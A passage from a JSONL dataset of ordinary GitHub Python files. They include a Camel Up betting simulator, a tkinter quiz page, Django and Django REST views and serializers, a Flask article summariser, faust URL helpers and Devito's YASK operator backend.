[], # 8\n [], # 9\n [], # 10\n [], # 11\n [], # 12\n [], # 13\n [], # 14\n [], # 15\n [] # 16\n]\n\n# Position: modifier\n# E.g. 4: -1 would mean there is a -1 movement desert tile on slot 4 of the board\nDESERT_TILES = {\n 4: -1\n}\n\n# Convert to array indices instead of gameboard slots\nDESERT_TILES = {tile - 1: modifier for (tile, modifier) in DESERT_TILES.items()}\n\n# Use for simulating a full game\nGAMEBOARD = [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]\n\n# Populate from human-friendly names\nif GAMEBOARD_FROM_COLOURS:\n for slot, contents in enumerate(GAMEBOARD_FROM_COLOURS):\n for camel_colour in contents:\n GAMEBOARD[slot] += [CAMEL_COLOUR_TO_ID[camel_colour]]\n\nprint(\"Starting gameboard:\\n\", GAMEBOARD_FROM_COLOURS or GAMEBOARD)\n\n\nCAMELS_LEFT_TO_ROLL = set(CAMELS)\nWINNER = None\n\n\ndef reset_pyramind():\n global CAMELS_LEFT_TO_ROLL\n CAMELS_LEFT_TO_ROLL = set(CAMELS)\n\n\ndef roll_dice():\n dice = choice(tuple(CAMELS_LEFT_TO_ROLL))\n value = randint(1, 3)\n\n CAMELS_LEFT_TO_ROLL.remove(dice)\n return dice, value\n\n\n# TODO: Optimize lookup\ndef find_camel(camel_to_find):\n for i, slot in enumerate(GAMEBOARD):\n for j, camel in enumerate(slot):\n if camel == camel_to_find:\n return i, j\n return None, None\n\n\ndef simuluate_turn():\n global WINNER\n camel_to_move, amount_to_move = roll_dice()\n\n # print(\"Moving camel\", camel_to_move, \"for\", amount_to_move)\n\n # Slot = GAMEBOARD position, layer = position in stack of camels\n slot_index, layer_index = find_camel(camel_to_move)\n\n if slot_index is None:\n # Camel not in gameboard, must be starting turns\n GAMEBOARD[amount_to_move - 1] += [camel_to_move]\n else:\n # Camel stack to move as a unit\n camel_stack_to_move = GAMEBOARD[slot_index][layer_index:]\n\n camel_stack_new_position = slot_index + amount_to_move\n\n if camel_stack_new_position >= 15:\n WINNER = camel_to_move # Winner of the game\n return\n\n # Remove the stack from the position we moved them from\n GAMEBOARD[slot_index] = GAMEBOARD[slot_index][:layer_index]\n\n if camel_stack_new_position in DESERT_TILES.keys():\n # print(\"Desert tile in play\")\n # There is a desert tile in the new location\n if DESERT_TILES[camel_stack_new_position] > 0:\n\n camel_stack_new_position += 1\n if camel_stack_new_position >= 15:\n WINNER = camel_to_move # Winner of the game\n return\n\n # Move them onto whatever stack is at the new position\n GAMEBOARD[camel_stack_new_position] += camel_stack_to_move\n else:\n camel_stack_new_position -= 1\n # Move them to the bottom of any stack already there\n GAMEBOARD[camel_stack_new_position] = camel_stack_to_move + GAMEBOARD[camel_stack_new_position]\n else:\n # Move them onto whatever stack is at the new position\n GAMEBOARD[camel_stack_new_position] += camel_stack_to_move\n\n # print(GAMEBOARD)\n return None\n\n\ndef get_current_positions():\n order = []\n for slot in reversed(GAMEBOARD):\n for camel in reversed(slot):\n order += [camel]\n return order\n\n\ndef simulate_leg():\n while len(CAMELS_LEFT_TO_ROLL) > 0:\n simuluate_turn()\n\n\ndef simulate_game():\n while WINNER is None:\n simulate_leg()\n reset_pyramind()\n # print(\"Final game state:\\n\", GAMEBOARD)\n # print(\"WINNER:\", WINNER)\n\n\ndef print_recommendations_for_leg():\n global GAMEBOARD, WINNER, CAMELS_LEFT_TO_ROLL\n starting_state = copy.deepcopy(GAMEBOARD)\n starting_camels_to_roll = copy.deepcopy(CAMELS_LEFT_TO_ROLL)\n\n times_first = {CAMEL_ID_TO_COLOUR[camel_id]: 0 for camel_id in CAMELS}\n times_second = {CAMEL_ID_TO_COLOUR[camel_id]: 0 for camel_id in CAMELS}\n\n n_simulations = 50000\n\n for i in range(n_simulations):\n simulate_leg()\n positions = get_current_positions()\n\n times_first[CAMEL_ID_TO_COLOUR[positions[0]]] += 1\n times_second[CAMEL_ID_TO_COLOUR[positions[1]]] += 1\n\n GAMEBOARD = copy.deepcopy(starting_state)\n CAMELS_LEFT_TO_ROLL = copy.deepcopy(starting_camels_to_roll)\n WINNER = None\n # print(\"Reset board back to:\\n\", GAMEBOARD)\n\n print(\"\\nRecommendations for short-term bets:\")\n for gold_value_of_bet in [5, 3, 2]:\n expected_values = {camel: gold_value_of_bet * (times_first[camel] / n_simulations) for camel in times_first.keys()}\n\n # Add on value of it coming second (reward: 1)\n expected_values = {camel: expected_values[camel] + (times_second[camel] / n_simulations) for camel in times_second.keys()}\n\n for camel in sorted(expected_values, key=expected_values.get, reverse=True):\n if expected_values[camel] > 1:\n print(\"Camel\", camel, \"expected value at bet\", gold_value_of_bet, \" is \", round(expected_values[camel], 1))\n print(\"If none of these are available, do a long term bet, place a road block, or roll a dice\")\n\n\ndef print_recommendations_for_game():\n global GAMEBOARD, WINNER, CAMELS_LEFT_TO_ROLL\n starting_state = copy.deepcopy(GAMEBOARD)\n starting_camels_to_roll = copy.deepcopy(CAMELS_LEFT_TO_ROLL)\n\n times_first = {CAMEL_ID_TO_COLOUR[camel_id]: 0 for camel_id in CAMELS}\n times_last = {CAMEL_ID_TO_COLOUR[camel_id]: 0 for camel_id in CAMELS}\n\n n_simulations = 50000\n\n for i in range(n_simulations):\n simulate_game()\n positions = get_current_positions()\n\n times_first[CAMEL_ID_TO_COLOUR[WINNER]] += 1\n times_last[CAMEL_ID_TO_COLOUR[positions[-1]]] += 1\n\n GAMEBOARD = copy.deepcopy(starting_state)\n CAMELS_LEFT_TO_ROLL = copy.deepcopy(starting_camels_to_roll)\n WINNER = None\n\n print(\"\\nRecommendations for long-term bets:\")\n expected_values_for_first = {camel: 8 * (times_first[camel] / n_simulations) for camel in\n times_first.keys()}\n\n # Add on value of it coming second (reward: 1)\n expected_values_for_last = {camel: 8 * (times_last[camel] / n_simulations) for camel in\n times_last.keys()}\n\n for camel in sorted(expected_values_for_first, key=expected_values_for_first.get, reverse=True):\n if expected_values_for_first[camel] > 1:\n print(\"Camel\", camel, \"expected value to win is \", round(expected_values_for_first[camel], 1))\n\n print(\"\")\n for camel in sorted(expected_values_for_last, key=expected_values_for_last.get, reverse=True):\n if expected_values_for_last[camel] > 1:\n print(\"Camel\", camel, \"expected value to come last is \", round(expected_values_for_last[camel], 1))\n\n print(\"If none of these are available, place a road block, or roll a dice\")\n\n\nprint_recommendations_for_leg()\nprint_recommendations_for_game()","repo_name":"isaac-jordan/camel-up-simulation","sub_path":"simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":7406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"9563621344","text":"\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter import filedialog\n\nimport definitions\n\nimport time\n\nfrom modules.logger import Logger\n\nclass PageFour(tk.Frame):\n\n\n def __init__(self, parent, controller):\n logger = Logger()\n self.que1 = \"Who was the first Marvel Character to get a sequel?\"\n self.ans1 = \"ironman\"\n self.clue1 = \"U2FsdGVkX1/L+2Wg+CsfVl/xE/uLadYSaRhQg8IZt4s14fBOL0lIavYYN+7NsFly\" #3DES\n self.clue1Ans = \"I am Ironman - Ironman 2007\"\n\n tk.Frame.__init__(self, parent)\n def checkAnswer():\n if(self.ans.get().lower()==self.ans1):\n self.ans.configure(foreground=\"#27ae60\")\n self.ans.config(state=\"readonly\")\n \n clue.config(state=\"normal\")\n clue.insert(0,self.clue1)\n clue.config(state=\"readonly\")\n\n lbl2['text']=\"JARVIS: DECRYPT THE TEXT !! How Many Movies in the Sequel?\"\n cluechkButton.config(state=tk.ACTIVE)\n\n else:\n self.ans.configure(foreground=\"#ff0000\")\n \n\n def checkClue():\n if(clueAns.get()==self.clue1Ans):\n clueAns.configure(foreground=\"#27ae60\")\n clueAns.config(state=\"readonly\")\n cluechkButton.config(state=tk.DISABLED)\n logger.add_message(\"4: Completed at {}\".format(time.strftime(\"%m/%d/%y %r\")))\n controller.show_frame(definitions.PageFive)\n\n else:\n clueAns.configure(foreground=\"#ff0000\")\n\n\n\n lbl1 = tk.Label(self,text = self.que1)\n lbl1.grid(row=0,column=0,padx=15,pady=15,columnspan=3)\n lbl1.configure(background=\"#ffffff\",foreground=\"#000000\",font=\"-family {Arial Black} -size 24 -weight bold -slant italic\",relief=\"flat\")\n \n self.ans = tk.Entry(self)\n self.ans.grid(row=1,column=0,padx=5,pady=5)\n self.ans.configure(background=\"#f7f1e3\",foreground=\"#2c2c54\",font=\"-family {Arial Black} -size 20 -weight bold -slant italic\")\n\n chkButton = tk.Button(self,text=\"✓\",command=checkAnswer)\n chkButton.grid(row=1,column=1)\n chkButton.configure(background=\"#000000\",foreground=\"#33d9b2\",font=\"-family {Arial Black} -size 12 -weight bold -slant italic\")\n\n\n\n clue = tk.Entry(self,width=20)\n clue.grid(row=1,column=2,padx=5,pady=5,ipadx=100)\n clue.config(state=\"disabled\")\n clue.configure(background=\"#ffffff\",foreground=\"#c0392b\",font=\"-family {Arial Black} -size 12 -weight bold -slant italic\")\n \n clueAns = tk.Entry(self)\n clueAns.grid(row=3,column=0,padx=5,pady=5,ipadx=100,columnspan=3)\n clue.configure(background=\"#ffffff\",foreground=\"#c0392b\",font=\"-family {Arial Black} -size 12 -weight bold -slant italic\")\n\n lbl2 = tk.Label(self,text=\"\")\n lbl2.grid(row=2,column=2,padx=5,pady=5)\n\n cluechkButton = tk.Button(self,text=\"Submit\",command=checkClue,state=tk.DISABLED)\n cluechkButton.grid(row=4,column=0,columnspan=3)\n cluechkButton.configure(background=\"#000000\",foreground=\"#33d9b2\",font=\"-family {Arial Black} -size 12 -weight bold -slant italic\") \n","repo_name":"nitishpatel/syoogle","sub_path":"modules/page_four.py","file_name":"page_four.py","file_ext":"py","file_size_in_byte":3206,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"11185097020","text":"from __future__ import generator_stop\n\nfrom fissix import fixer_util\nfrom fissix.pgen2 import token\nfrom fissix.pygram import python_symbols as syms\nfrom fissix.pytree import Leaf, Node\n\n\ndef _check_future_import(node):\n \"\"\"If this is a future import, return set of symbols that are imported,\n else return None.\"\"\"\n # node should be the import statement here\n if not (node.type == syms.simple_stmt and node.children):\n return set()\n node = node.children[0]\n # now node is the import_from node\n if not (\n node.type == syms.import_from\n and node.children[1].type == token.NAME\n and node.children[1].value == \"__future__\"\n ):\n return set()\n\n if node.children[3].type == token.LPAR:\n # from __future__ import (..\n node = node.children[4]\n else:\n # from __future__ import ...\n node = node.children[3]\n # now node is the import_as_name[s]\n\n # print(python_grammar.number2symbol[node.type])\n if node.type == syms.import_as_names:\n result = set()\n for n in node.children:\n if n.type == token.NAME:\n result.add(n.value)\n elif n.type == syms.import_as_name:\n n = n.children[0]\n assert n.type == token.NAME\n result.add(n.value)\n return result\n elif node.type == syms.import_as_name:\n node = node.children[0]\n assert node.type == token.NAME\n return {node.value}\n elif node.type == token.NAME:\n return {node.value}\n else: # pragma: no cover\n assert 0, \"strange import\"\n\n\ndef add_future(node, symbol):\n\n root = fixer_util.find_root(node)\n\n for idx, node in enumerate(root.children):\n if (\n node.type == syms.simple_stmt\n and len(node.children) > 0\n and node.children[0].type == token.STRING\n ):\n # skip over docstring\n continue\n names = _check_future_import(node)\n if not names:\n # not a future statement; need to insert before this\n break\n if symbol in names:\n # already imported\n return\n\n import_ = fixer_util.FromImport(\n \"__future__\", [Leaf(token.NAME, symbol, prefix=\" \")]\n )\n\n # Place after any comments or whitespace. (copyright, shebang etc.)\n import_.prefix = node.prefix\n node.prefix = \"\"\n\n children = [import_, fixer_util.Newline()]\n root.insert_child(idx, Node(syms.simple_stmt, children))\n\n\ndef is_listcomp(node):\n def _is_listcomp(node):\n return (\n isinstance(node, Node)\n and node.type == syms.atom\n and len(node.children) >= 2\n and isinstance(node.children[0], Leaf)\n and node.children[0].value == \"[\"\n and isinstance(node.children[-1], Leaf)\n and node.children[-1].value == \"]\"\n )\n\n def _is_noop_power_node(node):\n \"\"\"https://github.com/python/cpython/pull/2235 changed the node\n structure for fix_map / fix_filter to contain a top-level `power` node\n \"\"\"\n return (\n isinstance(node, Node)\n and node.type == syms.power\n and len(node.children) == 1\n )\n\n return (\n _is_listcomp(node)\n or _is_noop_power_node(node)\n and _is_listcomp(node.children[0])\n )\n","repo_name":"PyCQA/modernize","sub_path":"modernize/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","stars":326,"dataset":"github-code","pt":"62"} +{"seq_id":"23695614445","text":"from rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\nfrom comments.models import Comment\nfrom accounts.api.serializers import UserSerializerForComment\nfrom tweets.models import Tweet\nfrom likes.services import LikeService\nfrom utils.redis_helper import RedisHelper\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n user = UserSerializerForComment(source='cached_user')\n has_liked = serializers.SerializerMethodField()\n likes_count = serializers.SerializerMethodField()\n\n class Meta:\n model = Comment\n fields = (\n 'id',\n 'tweet_id',\n 'user',\n 'content',\n 'created_at',\n 'likes_count',\n 'has_liked',\n )\n\n def get_likes_count(self, obj):\n return RedisHelper.get_count(obj, 'likes_count')\n\n def get_has_liked(self, obj):\n return LikeService.has_liked(self.context['request'].user, obj)\n\n\nclass CommentSerializerForCreate(serializers.ModelSerializer):\n # 这两项必须手动添加,\n # 因为默认ModelSerializer中的user_id和tweet_id都是只读字段\n # 创建时validate()的data参数和create()的validated_data都不包含这两个字段\n # 它们只包含可写字段\n user_id = serializers.IntegerField()\n tweet_id = serializers.IntegerField()\n\n class Meta:\n model = Comment\n fields = ('user_id', 'tweet_id', 'content')\n\n def validate(self, data):\n tweet_id = data[\"tweet_id\"]\n if not Tweet.objects.filter(id=tweet_id).exists():\n raise ValidationError({\"message\": \"tweet doses not exist.\"})\n return data\n\n def create(self, validated_data):\n return Comment.objects.create(\n user_id=validated_data[\"user_id\"],\n tweet_id=validated_data[\"tweet_id\"],\n content=validated_data[\"content\"],\n )\n\n\nclass CommentSerializerForUpdate(serializers.ModelSerializer):\n class Meta:\n model = Comment\n fields = ('content',)\n\n def update(self, instance, validated_data):\n instance.content = validated_data['content']\n instance.save()\n # update方法要求return修改后的instance\n return instance\n","repo_name":"lssxfy123/django-twitter","sub_path":"comments/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10311909404","text":"from django.shortcuts import render\nfrom django.views.generic import DetailView\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.views.generic.list import ListView\nfrom django.urls import reverse_lazy\n\nfrom django.core.paginator import Paginator\n\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\n\nfrom .models import Train\nfrom .forms import TrainForm\n\n\ndef trains(request, pk=None):\n\n qs = Train.objects.all()\n list = Paginator(qs, 5)\n page_number = request.POST.get('page')\n page_obj = list.get_page(page_number)\n context = {'page_obj': page_obj, }\n return render(request, 'trains/home.html', context)\n\n\nclass TrainListView(LoginRequiredMixin, ListView):\n paginate_by = 5\n model = Train\n template_name = 'trains/home.html'\n\n\nclass TrainDetailView(LoginRequiredMixin, DetailView):\n queryset = Train.objects.all()\n template_name = 'trains/detail.html'\n\n\nclass TrainCreateView(SuccessMessageMixin, LoginRequiredMixin, CreateView):\n\n model = Train\n form_class = TrainForm\n template_name = 'trains/create.html'\n success_url = reverse_lazy('trains')\n success_message = 'Train created successfully!'\n\n\nclass TrainUpdateView(SuccessMessageMixin, LoginRequiredMixin, UpdateView):\n model = Train\n form_class = TrainForm\n template_name = 'trains/update.html'\n success_url = reverse_lazy('trains')\n success_message = 'Train updated successfully!'\n\n\nclass TrainDeleteView(LoginRequiredMixin, DeleteView):\n model = Train\n #template_name = 'trains/delete.html'\n success_url = reverse_lazy('trains')\n\n def get(self, request, *args, **kwargs):\n messages.success(request, 'Train delated successfully')\n return self.post(request, *args, **kwargs)\n","repo_name":"tarp20/TarRoute","sub_path":"trains/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43386508505","text":"from flask import Flask\nimport webarticle2text\nimport mechanize\nimport string\nimport nltk.data\n\nop = mechanize.Browser()\nop.set_handle_robots(False)\n\nsent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\n\napp = Flask(__name__)\n\n@app.route('/')\ndef article_summary(url):\n r = op.open(url)\n title = op.title()\n raw_html = r.read()\n clean_html = filter(lambda x : x in string.printable,\n raw_html)\n main_text = webarticle2text.extractFromHTML(clean_html)\n sentences = sent_detector.tokenize(main_text)\n # return \"

    %s

    1. %s

    \" % (\n # title,\n # '
  • '.join(sentences))\n return \"

    %s

    %s

    \" % (\n title,\n ' '.join(sentences))\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"frtennis1/ArticleShortenerREST","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28326667341","text":"from typing import List, Optional, Union\nfrom yarl import URL\n\n__all__ = ['urllist', 'ensure_scheme']\n\n\ndef urllist(arg: Union[URL, str, List[URL]], *,\n default_scheme: str = None) -> List[URL]:\n if not arg:\n raise ValueError('URL list argument cannot be empty')\n if not isinstance(arg, list):\n urls = str(arg).split(';')\n scheme = URL(urls[0]).scheme or default_scheme\n return [ensure_scheme(scheme, u) for u in urls]\n else:\n scheme = arg[0].scheme or default_scheme\n return [ensure_scheme(scheme, u) for u in arg]\n\n\ndef ensure_scheme(default_scheme: Optional[str], url: Union[str, URL]) -> URL:\n scheme: Optional[str] = None\n if default_scheme:\n if isinstance(url, URL):\n scheme = url.scheme\n else:\n _scheme, has_scheme, _ = url.partition('://')\n scheme = _scheme if has_scheme else None\n if not scheme:\n return URL(f'{default_scheme}://{url}')\n return URL(url)\n","repo_name":"Abhimanyoo/faust","sub_path":"faust/utils/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"70193351559","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 30 21:07:04 2017\n\n@author: tomek\n\"\"\"\n\nimport re\nfrom operator import add, sub, mul, neg\n\n\nclass NonIntegerDivisionError(Exception):\n pass\n\n\ndef add_cipher(k, n):\n return int('{}{}'.format(k, n))\n\n\ndef division(k, n):\n if k % n == 0:\n return k // n\n else:\n raise NonIntegerDivisionError\n\n\ndef square(k):\n return k * k\n\n\ndef eat_cipher(k):\n if -10 < k < 10:\n return 0\n else:\n return int(str(k)[:-1])\n\n\ndef replace_ciphers(k, a, b):\n if b < 0:\n raise ValueError\n return int(str(k).replace(str(a), str(b)))\n\n\ndef reverse(k):\n if k < 0:\n s = str(k)[1:]\n return -int(s[::-1])\n s = str(k)\n return int(s[::-1])\n\n\nEMPTY_STR = ''\n\nFUNC_BY_SIGN = {EMPTY_STR: add_cipher,\n '+': add,\n '-': sub,\n '*': mul,\n '/': division,\n '^2': square,\n '+/-': neg,\n '<<': eat_cipher,\n '=>': replace_ciphers,\n 'reverse': reverse}\n\nREGEXS = (r'^(?P)(?P\\d+)$',\n r'^(?P\\+)(?P\\d+)$',\n r'^(?P-)(?P\\d+)$',\n r'^(?P\\*)(?P-?\\d+)$',\n r'^(?P/)(?P-?\\d+)$',\n r'^(?P\\^2)$',\n r'^(?P\\+/-)$',\n r'^(?P<<)$',\n r'^(?P\\d+)(?P=>)(?P\\d+)$',\n r'^(?P[rR][eE][vV][eE][rR][sS][eE])$')\n\nCOMPILED_REGEXS = tuple(re.compile(r) for r in REGEXS)\n","repo_name":"chamerion/calculatorTheGame","sub_path":"ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1916683030","text":"from __future__ import absolute_import\n\nimport cgen as c\nimport numpy as np\nfrom sympy import Indexed\n\nfrom devito.cgen_utils import ccode\nfrom devito.compiler import jit_compile\nfrom devito.dimension import LoweredDimension\nfrom devito.types import Object\nfrom devito.logger import yask as log, yask_warning as warning\nfrom devito.ir.iet import (Element, IsPerfectIteration, Transformer,\n filter_iterations, retrieve_iteration_tree)\nfrom devito.operator import OperatorRunnable, FunMeta\nfrom devito.tools import flatten\n\nfrom devito.yask import nfac, namespace, exit, configuration\nfrom devito.yask.utils import make_grid_accesses, make_sharedptr_funcall, rawpointer\nfrom devito.yask.wrappers import YaskGridConst, YaskNullContext, YaskNullKernel, contexts\n\n__all__ = ['Operator']\n\n\nclass Operator(OperatorRunnable):\n\n \"\"\"\n A special :class:`OperatorCore` to JIT-compile and run operators through YASK.\n \"\"\"\n\n _default_headers = OperatorRunnable._default_headers\n _default_headers += ['#define restrict __restrict']\n _default_includes = OperatorRunnable._default_includes + ['yask_kernel_api.hpp']\n\n def __init__(self, expressions, **kwargs):\n kwargs['dle'] = ('denormals',) + (('openmp',) if configuration['openmp'] else ())\n super(Operator, self).__init__(expressions, **kwargs)\n # Each YASK Operator needs to have its own compiler (hence the copy()\n # below) because Operator-specific shared object will be added to the\n # list of linked libraries\n self._compiler = configuration.yask['compiler'].copy()\n\n def _specialize(self, nodes, parameters):\n \"\"\"\n Create a YASK representation of this Iteration/Expression tree.\n\n ``parameters`` is modified in-place adding YASK-related arguments.\n \"\"\"\n log(\"Specializing a Devito Operator for YASK...\")\n\n self.context = YaskNullContext()\n self.yk_soln = YaskNullKernel()\n local_grids = []\n\n offloadable = find_offloadable_trees(nodes)\n if len(offloadable) == 0:\n log(\"No offloadable trees found\")\n elif len(offloadable) == 1:\n tree, dimensions, shape, dtype = offloadable[0]\n self.context = contexts.fetch(dimensions, shape, dtype)\n\n # Create a YASK compiler solution for this Operator\n yc_soln = self.context.make_yc_solution(namespace['jit-yc-soln'])\n\n transform = sympy2yask(self.context, yc_soln)\n try:\n for i in tree[-1].nodes:\n transform(i.expr)\n\n funcall = make_sharedptr_funcall(namespace['code-soln-run'], ['time'],\n namespace['code-soln-name'])\n funcall = Element(c.Statement(ccode(funcall)))\n nodes = Transformer({tree[1]: funcall}).visit(nodes)\n\n # Track /funcall/ as an external function call\n self.func_table[namespace['code-soln-run']] = FunMeta(None, False)\n\n # JIT-compile the newly-created YASK kernel\n local_grids += [i for i in transform.mapper if i.is_Array]\n self.yk_soln = self.context.make_yk_solution(namespace['jit-yk-soln'],\n yc_soln, local_grids)\n\n # Now we must drop a pointer to the YASK solution down to C-land\n parameters.append(Object(namespace['code-soln-name'],\n namespace['type-solution'],\n self.yk_soln.rawpointer))\n\n # Print some useful information about the newly constructed solution\n log(\"Solution '%s' contains %d grid(s) and %d equation(s).\" %\n (yc_soln.get_name(), yc_soln.get_num_grids(),\n yc_soln.get_num_equations()))\n except:\n log(\"Unable to offload a candidate tree.\")\n else:\n exit(\"Found more than one offloadable trees in a single Operator\")\n\n # Some Iteration/Expression trees are not offloaded to YASK and may\n # require further processing to be executed in YASK, due to the differences\n # in storage layout employed by Devito and YASK\n nodes = make_grid_accesses(nodes)\n\n # Update the parameters list adding all necessary YASK grids\n for i in list(parameters) + local_grids:\n try:\n if i.from_YASK:\n parameters.append(Object(namespace['code-grid-name'](i.name),\n namespace['type-grid']))\n except AttributeError:\n # Ignore e.g. Dimensions\n pass\n\n log(\"Specialization successfully performed!\")\n\n return nodes\n\n def arguments(self, **kwargs):\n mapper = {i.name: i for i in self.parameters}\n local_grids_mapper = {namespace['code-grid-name'](k): v\n for k, v in self.yk_soln.local_grids.items()}\n\n # The user has the illusion to provide plain data objects to the\n # generated kernels, but what we actually need and thus going to\n # provide are pointers to the wrapped YASK grids.\n for i in self.parameters:\n grid_arg = mapper.get(namespace['code-grid-name'](i.name))\n if grid_arg is not None:\n assert i.provider.from_YASK is True\n obj = kwargs.get(i.name, i.provider)\n # Get the associated YaskGrid wrapper (scalars are a special case)\n wrapper = obj.data if not np.isscalar(obj) else YaskGridConst(obj)\n # Setup YASK grids (\"sharing\" user-provided or default data)\n target = self.yk_soln.grids.get(i.name)\n if target is not None:\n wrapper.give_storage(target)\n # Add C-level pointer to the YASK grids\n assert grid_arg.verify(wrapper.rawpointer)\n elif i.name in local_grids_mapper:\n # Add C-level pointer to the temporary YASK grids\n assert i.verify(rawpointer(local_grids_mapper[i.name]))\n\n return super(Operator, self).arguments(**kwargs)\n\n def apply(self, **kwargs):\n # Build the arguments list to invoke the kernel function\n arguments, dim_sizes = self.arguments(**kwargs)\n\n # Print some info about the solution.\n log(\"Stencil-solution '%s':\" % self.yk_soln.name)\n log(\" Step dimension: %s\" % self.context.time_dimension)\n log(\" Domain dimensions: %s\" % str(self.context.space_dimensions))\n log(\" Grids:\")\n for grid in self.yk_soln.grids.values():\n space_dimensions = [i for i in grid.get_dim_names()\n if i in self.context.space_dimensions]\n size = [grid.get_rank_domain_size(i) for i in space_dimensions]\n pad = [grid.get_pad_size(i) for i in space_dimensions]\n log(\" %s%s, size=%s, pad=%s\" % (grid.get_name(), str(grid.get_dim_names()),\n size, pad))\n\n if configuration.yask['python-exec']:\n log(\"Running YASK Operator through YASK...\")\n self.yk_soln.run_py(dim_sizes[self.context.time_dimension])\n else:\n log(\"Running YASK Operator through Devito...\")\n self.yk_soln.run_c(self.cfunction, list(arguments.values()))\n\n log(\"YASK Operator successfully run!\")\n\n # Output summary of performance achieved\n return self._profile_output(arguments)\n\n @property\n def compile(self):\n \"\"\"\n JIT-compile the C code generated by the Operator.\n\n It is ensured that JIT compilation will only be performed once per\n :class:`Operator`, reagardless of how many times this method is invoked.\n\n :returns: The file name of the JIT-compiled function.\n \"\"\"\n if self._lib is None:\n # No need to recompile if a shared object has already been loaded.\n if not isinstance(self.yk_soln, YaskNullKernel):\n self._compiler.libraries.append(self.yk_soln.soname)\n return jit_compile(self.ccode, self._compiler)\n else:\n return self._lib.name\n\n\nclass sympy2yask(object):\n \"\"\"\n Convert a SymPy expression into a YASK abstract syntax tree and create any\n necessay YASK grids.\n \"\"\"\n\n def __init__(self, context, yc_soln):\n self.context = context\n self.yc_soln = yc_soln\n self.mapper = {}\n\n def __call__(self, expr):\n\n def nary2binary(args, op):\n r = run(args[0])\n return r if len(args) == 1 else op(r, nary2binary(args[1:], op))\n\n def run(expr):\n if expr.is_Integer:\n return nfac.new_const_number_node(int(expr))\n elif expr.is_Float:\n return nfac.new_const_number_node(float(expr))\n elif expr.is_Symbol:\n function = expr.base.function\n if function.is_Constant:\n if function not in self.mapper:\n self.mapper[function] = self.yc_soln.new_grid(function.name, [])\n return self.mapper[function].new_relative_grid_point([])\n else:\n # A DSE-generated temporary, which must have already been\n # encountered as a LHS of a previous expression\n assert function in self.mapper\n return self.mapper[function]\n elif isinstance(expr, Indexed):\n function = expr.base.function\n if function not in self.mapper:\n if function.is_TimeFunction:\n dimensions = [nfac.new_step_index(function.indices[0].name)]\n dimensions += [nfac.new_domain_index(i.name)\n for i in function.indices[1:]]\n else:\n dimensions = [nfac.new_domain_index(i.name)\n for i in function.indices]\n self.mapper[function] = self.yc_soln.new_grid(function.name,\n dimensions)\n indices = [int((i.origin if isinstance(i, LoweredDimension) else i) - j)\n for i, j in zip(expr.indices, function.indices)]\n return self.mapper[function].new_relative_grid_point(indices)\n elif expr.is_Add:\n return nary2binary(expr.args, nfac.new_add_node)\n elif expr.is_Mul:\n return nary2binary(expr.args, nfac.new_multiply_node)\n elif expr.is_Pow:\n num, den = expr.as_numer_denom()\n if num == 1:\n return nfac.new_divide_node(run(num), run(den))\n elif expr.is_Equality:\n if expr.lhs.is_Symbol:\n function = expr.lhs.base.function\n assert function not in self.mapper\n self.mapper[function] = run(expr.rhs)\n else:\n return nfac.new_equation_node(*[run(i) for i in expr.args])\n else:\n warning(\"Missing handler in Devito-YASK translation\")\n raise NotImplementedError\n\n return run(expr)\n\n\ndef find_offloadable_trees(nodes):\n \"\"\"\n Return the trees within ``nodes`` that can be computed by YASK.\n\n A tree is \"offloadable to YASK\" if it is embedded in a time stepping loop\n *and* all of the grids accessed by the enclosed equations are homogeneous\n (i.e., same dimensions, shape, data type).\n \"\"\"\n offloadable = []\n for tree in retrieve_iteration_tree(nodes):\n parallel = filter_iterations(tree, lambda i: i.is_Parallel)\n if not parallel:\n # Cannot offload non-parallel loops\n continue\n if not (IsPerfectIteration().visit(tree) and\n all(i.is_Expression for i in tree[-1].nodes)):\n # Don't know how to offload this Iteration/Expression to YASK\n continue\n functions = flatten(i.functions for i in tree[-1].nodes)\n keys = set((i.indices, i.shape, i.dtype) for i in functions if i.is_TimeFunction)\n if len(keys) == 0:\n continue\n elif len(keys) > 1:\n exit(\"Cannot handle Operators w/ heterogeneous grids\")\n dimensions, shape, dtype = keys.pop()\n if len(dimensions) == len(tree) and\\\n all(i.dim == j for i, j in zip(tree, dimensions)):\n # Detected a \"full\" Iteration/Expression tree (over both\n # time and space dimensions)\n offloadable.append((tree, dimensions, shape, dtype))\n return offloadable\n","repo_name":"jrt54/total_variation","sub_path":"devito/yask/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":12834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73301794758","text":"# -*- coding:utf-8 -*-\nimport requests as rq\nfrom bs4 import BeautifulSoup\n\n# requests 세션 객체 생성\nsess = rq.Session()\n\n# 세션에 User-Agent 정보 추가\nuser_agent = 'Mozilla/5.0 (Windows 